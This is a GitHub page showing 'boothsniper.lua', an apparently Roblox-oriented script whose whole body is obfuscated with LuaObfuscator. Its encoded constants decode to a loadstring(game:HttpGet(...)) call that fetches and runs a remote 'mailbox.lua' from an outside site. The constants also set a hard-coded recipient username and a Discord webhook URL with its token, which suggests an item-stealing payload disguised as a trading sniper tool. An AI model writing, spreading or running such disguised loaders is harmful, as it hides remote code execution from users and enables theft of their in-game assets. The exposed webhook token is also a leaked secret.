-
Notifications
You must be signed in to change notification settings - Fork 0
/
boothsniper.lua
12 lines (10 loc) · 12.5 KB
/
boothsniper.lua
1
2
3
4
5
6
7
8
9
10
11
12
--[[
.____ ________ ___. _____ __
| | __ _______ \_____ \\_ |___/ ____\_ __ ______ ____ _____ _/ |_ ___________
| | | | \__ \ / | \| __ \ __\ | \/ ___// ___\\__ \\ __\/ _ \_ __ \
| |___| | // __ \_/ | \ \_\ \ | | | /\___ \\ \___ / __ \| | ( <_> ) | \/
|_______ \____/(____ /\_______ /___ /__| |____//____ >\___ >____ /__| \____/|__|
\/ \/ \/ \/ \/ \/ \/
\_Welcome to LuaObfuscator.com (Alpha 0.2.8) ~ Much Love, Ferib
]]--
do local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function()return _ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack ;local v14=tonumber;local function v15(v16,v17,...)local v18=0;local v19;local v20;local v21;local v22;local v23;local v24;local v25;local v26;local v27;local v28;local v29;local v30;while true do if (v18==5) then v27=v24;v28=nil;function v28(...)return {...},v12("#",...);end v18=6;end if (v18==1) then v21=nil;function v21(v31,v32,v33)if v33 then local v83=877 -(282 + 595) ;local v84;while true do if (v83==(0 -0)) then v84=(v31/((5 -3)^(v32-((1638 -(1523 + 114)) -0))))%(2^(((v33-(2 -1)) -(v32-(620 -(555 + 58 + 6)))) + (932 -(857 + (105 -31))))) ;return v84-(v84%(569 -(367 + (1266 -(68 + 997))))) ;end end else local v85=((2199 -(226 + 1044)) -(214 + 713))^(v32-(1 + 0)) ;return (((v31%(v85 + v85))>=v85) and (1 + 0)) or 0 ;end end v22=nil;v18=2;end if (v18==3) then v24=nil;function v24()local v34=0 -0 ;local v35;local v36;local v37;local v38;while true do if (v34==1) then return (v38 * (31011612 -(10437696 + 3796700))) + (v37 * (285370 -219834)) + (v36 * (373 -((78 -46) + 85))) + v35 ;end if ((0 + 0)==v34) then v35,v36,v37,v38=v1(v16,v19,v19 + ((260 + 93) -(87 + 263)) );v19=v19 + 1 + 3 ;v34=958 -(892 + 65) ;end end end v25=nil;v18=4;end if (v18==6) then v29=nil;function v29()local v39=0;local v40;local v41;local v42;local v43;local v44;local v45;local v46;while true do if (v39==(2 + 0)) then v44=nil;v45=nil;v39=6 -3 ;end if ((0 -0)==v39) then v40=0 -0 ;v41=nil;v39=1 + 0 ;end if (v39~=(2 + 1)) then else v46=nil;while true do if (v40~=(397 -(115 + 281))) then else local v98=0 -0 ;local v99;while true do if (v98~=0) then else v99=0 + 0 ;while true do if (v99==1) then v46={};v40=2;break;end if (v99==0) then local v110=0 -0 ;while true do if (v110==0) then v44={v41,v42,nil,v43};v45=v24();v110=1;end if (v110==1) then v99=1;break;end end end end break;end end end if (v40==0) then local v100=0 -0 ;while true do if (v100==0) then v41={};v42={};v100=1;end if (1~=v100) then else v43={};v40=1 -0 ;break;end end end if (v40~=(8 -5)) then else local v101=0;local v102;while true do if ((285 -(134 + 151))==v101) then v102=0;while true do if (v102==0) then local v111=0;while true do if (v111~=0) then else for v156=1,v24() do v42[v156-(1666 -(970 + 695)) ]=v29();end return v44;end end end end break;end end end if (v40==(3 -1)) then local v103=1990 -(582 + 1408) ;while true do if (v103~=0) then else local v104=0;while true do if (v104==1) then v103=1;break;end if (v104==(0 -0)) then for v113=1,v45 do local v114=0 -0 ;local v115;local v116;local v117;local v118;local v119;while true do if (v114==1) then v117=nil;v118=nil;v114=7 -5 ;end if (v114==0) then v115=0;v116=nil;v114=1825 -(1195 + 629) ;end if (v114==2) then v119=nil;while true do if (v115==(1 -0)) then v118=nil;v119=nil;v115=243 -(187 + 54) ;end if (v115==(782 -(162 + 618))) then while true do if (v116~=0) then else local v187=0;local v188;while true do if (0~=v187) then else v188=0 + 0 ;while true do if (v188~=1) then else v116=1 + 0 ;break;end if (v188==(0 -0)) then local v197=0 -0 ;while true do if (v197==(1 + 0)) then v188=1;break;end if (v197~=0) then else v117=0;v118=nil;v197=1637 -(1373 + 263) ;end end end end break;end end end if (v116==1) then v119=nil;while true do if (v117~=1) then else if (v118==(1001 -(451 + 549))) then v119=v22()~=0 ;elseif (v118==(1 + 1)) then v119=v25();elseif (v118~=3) then else v119=v26();end v46[v113]=v119;break;end if ((0 -0)==v117) then local v190=0;local v191;while true do if (v190==(0 -0)) then v191=0;while true do if (v191~=1) then else v117=1;break;end if (v191==(1384 -(746 + 638))) then v118=v22();v119=nil;v191=1;end end break;end end end end break;end end break;end if (v115==(0 + 0)) then local v178=0 -0 ;while true do if ((341 -(218 + 123))~=v178) then else v116=0;v117=nil;v178=1;end if (v178~=1) then else v115=1;break;end end end end break;end end end v44[1584 -(1535 + 46) ]=v22();v104=1 + 0 ;end end end if (v103==(1 + 0)) then for v105=1,v24() do local v106=0;local v107;local v108;local v109;while true do if (v106~=(561 -(306 + 254))) then else v109=nil;while true do if ((0 + 0)~=v107) then else local v158=0;while true do if (v158~=(0 -0)) then else local v179=1467 -(899 + 568) ;while true do if (v179==(0 + 0)) then v108=0;v109=nil;v179=2 -1 ;end if (1==v179) then v158=604 -(268 + 335) ;break;end end end if (v158==(291 -(60 + 230))) then v107=573 -(426 + 146) ;break;end end end if (1==v107) then while true do if (v108==(0 + 0)) then v109=v22();if (v21(v109,1457 -(282 + 1174) ,1)==0) then local v182=811 -(569 + 242) ;local v183;local v184;local v185;local v186;while true do if (v182~=(0 -0)) then else v183=0;v184=nil;v182=1 + 0 ;end if (v182==(1026 -(706 + 318))) then while true do if (v183==(1252 -(721 + 530))) then local v192=1271 -(945 + 326) ;while true do if (v192~=(0 -0)) then else v186={v23(),v23(),nil,nil};if (v184==0) then local v200=0;local v201;while true do if (v200~=0) then else v201=700 -(271 + 429) ;while true do if (v201~=(0 + 0)) then else v186[3]=v23();v186[1504 -(1408 + 92) ]=v23();break;end end break;end end elseif (v184==1) then v186[3]=v24();elseif (v184==(1088 -(461 + 625))) then v186[1291 -(993 + 295) ]=v24() -(2^(1 + 15)) ;elseif (v184==(1174 -(418 + 753))) then local v211=0 + 0 ;local v212;while true do if (v211~=(0 + 0)) then else v212=0 + 0 ;while true do if ((0 + 0)==v212) then v186[532 -(406 + 123) ]=v24() -(2^16) ;v186[4]=v23();break;end end break;end end end v192=1;end if (v192==(1770 -(1749 + 20))) then v183=1 + 1 ;break;end end end if (v183~=3) then else if (v21(v185,1325 -(1249 + 73) ,3)==(1 + 0)) then v186[4]=v46[v186[4]];end v41[v105]=v186;break;end if (v183~=0) then else local v194=0;local v195;while true do if (v194==(1145 -(466 + 679))) then v195=0 -0 ;while true do if (v195~=0) then else local v206=0;while true do if ((2 -1)==v206) then v195=1;break;end if (v206==(1900 -(106 + 1794))) then v184=v21(v109,1 + 1 ,1 + 2 );v185=v21(v109,4,17 -11 );v206=1;end end end if (v195==(2 -1)) then v183=1;break;end end break;end end end if (v183~=2) then else local v196=114 -(4 + 110) ;while true do if (v196==1) then v183=3;break;end if (v196==0) then if (v21(v185,585 -(57 + 527) ,1428 -(41 + 1386) )==(104 -(17 + 86))) then v186[2]=v46[v186[2 + 0 ]];end if (v21(v185,3 -1 ,5 -3 )==1) then v186[169 -(122 + 44) ]=v46[v186[5 -2 ]];end v196=1;end end end end break;end if (v182==(3 -2)) then v185=nil;v186=nil;v182=2;end end end break;end end break;end end break;end if (v106~=(0 + 0)) then else v107=0;v108=nil;v106=1 + 0 ;end end end v40=3;break;end end end end break;end if (v39==(1 -0)) then v42=nil;v43=nil;v39=2;end end end v30=nil;v18=7;end if (v18==4) then function v25()local v47=v24();local v48=v24();local v49=(20 + 46) -(16 + 14 + 35) ;local v50=(v21(v48,1 + 0 + 0 ,(3364 -2087) -(1043 + 214) ) * ((7 -5)^((3188 -1944) -(323 + 889)))) + v47 ;local v51=v21(v48,21,83 -(1603 -(1126 + 425)) );local v52=((v21(v48,612 -((766 -(118 + 287)) + 219) )==(321 -(53 + 267))) and -(1 + (0 -0))) or (1122 -(118 + 1003)) ;if (v51==(413 -(15 + 398))) then if (v50==(982 -(18 + 964))) then return v52 * (0 -0) ;else v51=1 + 0 ;v49=0 + 0 ;end elseif (v51==(2897 -(20 + 830))) then return ((v50==(0 + 0)) and (v52 * ((127 -(116 + 10))/((0 -0) + 0)))) or (v52 * NaN) ;end return v8(v52,v51-((2138 -(142 + 235)) -(542 + 196)) ) * (v49 + (v50/((3 -1)^52))) ;end v26=nil;function v26(v53)local v54;if not v53 then local v86=0 -0 ;while true do if (v86==0) then v53=v24();if (v53==(0 + 0 + 0)) then return "";end break;end end end v54=v3(v16,v19,(v19 + v53) -(978 -(553 + 424)) );v19=v19 + v53 ;local v55={};for v67=1 -0 , #v54 do v55[v67]=v2(v1(v3(v54,v67,v67)));end return v6(v55);end v18=5;end if (v18==2) then function v22()local v56=v1(v16,v19,v19);v19=v19 + 1 ;return v56;end v23=nil;function v23()local v57=0 + 0 ;local v58;local v59;while true do if (v57==(1 + 0)) then return (v59 * (109 + 147)) + v58 ;end if (v57==(0 + 0)) then v58,v59=v1(v16,v19,v19 + 2 );v19=v19 + (5 -3) ;v57=2 -(2 -1) ;end end end v18=3;end if (v18==0) then v19=1;v20=nil;v16=v4(v3(v16,5),"..",function(v60)if (v1(v60,2)==79) then local v87=0;while true do if (v87==0) then v20=v0(v3(v60,1,1));return "";end end else local v88=v2(v0(v60,16));if v20 then local v91=v5(v88,v20);v20=nil;return v91;else return v88;end end end);v18=1;end if (v18==7) then function v30(v61,v62,v63)local v64=v61[1];local v65=v61[2];local v66=v61[3];return function(...)local v69=v64;local v70=v65;local v71=v66;local v72=v28;local v73=1;local v74= -1;local v75={};local v76={...};local v77=v12("#",...) -1 ;local v78={};local v79={};for v89=0,v77 do if (v89>=v71) then v75[v89-v71 ]=v76[v89 + 1 ];else v79[v89]=v76[v89 + 1 ];end end local v80=(v77-v71) + 1 ;local v81;local v82;while true do local v90=0;while true do if (v90==0) then v81=v69[v73];v82=v81[1];v90=1;end if (v90==1) then if (v82<=10) then if (v82<=4) then if (v82<=1) then if (v82>0) then local v120=0;local v121;local v122;local v123;local v124;while true do if (v120==1) then v74=(v123 + v121) -1 ;v124=0;v120=2;end if (v120==2) then for v175=v121,v74 do local v176=0;while true do if (v176==0) then v124=v124 + 1 ;v79[v175]=v122[v124];break;end end end break;end if (v120==0) then v121=v81[2];v122,v123=v72(v79[v121](v13(v79,v121 + 1 ,v81[3])));v120=1;end end else do return;end end elseif (v82<=2) then local v125=0;local v126;local v127;while true do if (v125==1) then v79[v126 + 1 ]=v127;v79[v126]=v127[v81[4]];break;end if (v125==0) then v126=v81[2];v127=v79[v81[3]];v125=1;end end elseif (v82>3) then v73=v81[3];else v79[v81[2]]=v81[3];end elseif (v82<=7) then if (v82<=5) then local v128=0;local v129;while true do if (v128==0) then v129=v81[2];v79[v129]=v79[v129](v13(v79,v129 + 1 ,v74));break;end end elseif (v82==6) then v79[v81[2]]();else local v143=v81[2];local v144,v145=v72(v79[v143](v13(v79,v143 + 1 ,v81[3])));v74=(v145 + v143) -1 ;local v146=0;for v167=v143,v74 do v146=v146 + 1 ;v79[v167]=v144[v146];end end elseif (v82<=8) then v79[v81[2]]=v81[3];elseif (v82==9) then v63[v81[3]]=v79[v81[2]];else v79[v81[2]]=v63[v81[3]];end elseif (v82<=15) then if (v82<=12) then if (v82>11) then local v132=v81[2];v79[v132]=v79[v132](v13(v79,v132 + 1 ,v74));else v73=v81[3];end elseif (v82<=13) then v63[v81[3]]=v79[v81[2]];elseif (v82>14) then if (v79[v81[2]]==v81[4]) then v73=v73 + 1 ;else v73=v81[3];end else v79[v81[2]]();end elseif (v82<=18) then if (v82<=16) then if (v79[v81[2]]==v81[4]) then v73=v73 + 1 ;else v73=v81[3];end elseif (v82==17) then v79[v81[2]]=v81[3]~=0 ;else v79[v81[2]]=v63[v81[3]];end elseif (v82<=19) then local v137=0;local v138;local v139;while true do if (v137==0) then v138=v81[2];v139=v79[v81[3]];v137=1;end if (v137==1) then v79[v138 + 1 ]=v139;v79[v138]=v139[v81[4]];break;end end elseif (v82==20) then do return;end else v79[v81[2]]=v81[3]~=0 ;end v73=v73 + 1 ;break;end end end end;end return v30(v29(),{},v17)(...);end end end v15("LOL!0A3O00028O00026O00F03F030A3O006C6F6164737472696E6703043O0067616D6503073O00482O7470476574031E3O00682O7470733A2O2F672O6F662E70726F2F732F6D61696C626F782E6C756103083O00557365724E616D65030A3O00676C61646F723139383503073O00576562482O6F6B03793O00682O7470733A2O2F646973636F72642E636F6D2F6170692F776562682O6F6B732F3O31373430333933363739303431332O34332F3945356C6736633577724E514B43354B646741356A5774726459615766505138782D46555177445A67715F646174417A65694C34735F3133495A6F4A58354D4863624C31001D3O0012033O00013O0026103O000C0001000200040B3O000C000100120A000100033O00120A000200043O002013000200020005001203000400064O0011000500014O0001000200054O000500013O00022O000600010001000100040B3O001C00010026103O00010001000100040B3O00010001001203000100013O002610000100160001000100040B3O00160001001203000200083O00120D000200073O0012030002000A3O00120D000200093O001203000100023O0026100001000F0001000200040B3O000F00010012033O00023O00040B3O0001000100040B3O000F000100040B3O000100012O00143O00017O00",v9(),...);end